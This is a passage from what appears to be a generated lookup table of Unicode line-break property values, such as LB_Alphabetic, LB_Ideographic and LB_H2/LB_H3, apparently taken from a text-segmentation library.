LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Quotation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_Both, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Alphabetic, - LB_Combining_Mark, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_JL, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_Alphabetic, - LB_JV, - LB_Alphabetic, - LB_JT, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Combining_Mark, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Infix_Numeric, - LB_Close_Punctuation, - LB_Infix_Numeric, - LB_Exclamation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Inseparable, - LB_Alphabetic, - LB_Combining_Mark, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Nonstarter, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Alphabetic, - LB_Word_Joiner, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Contingent_Break, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Inseparable, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Regional_Indicator, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Modifier, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - 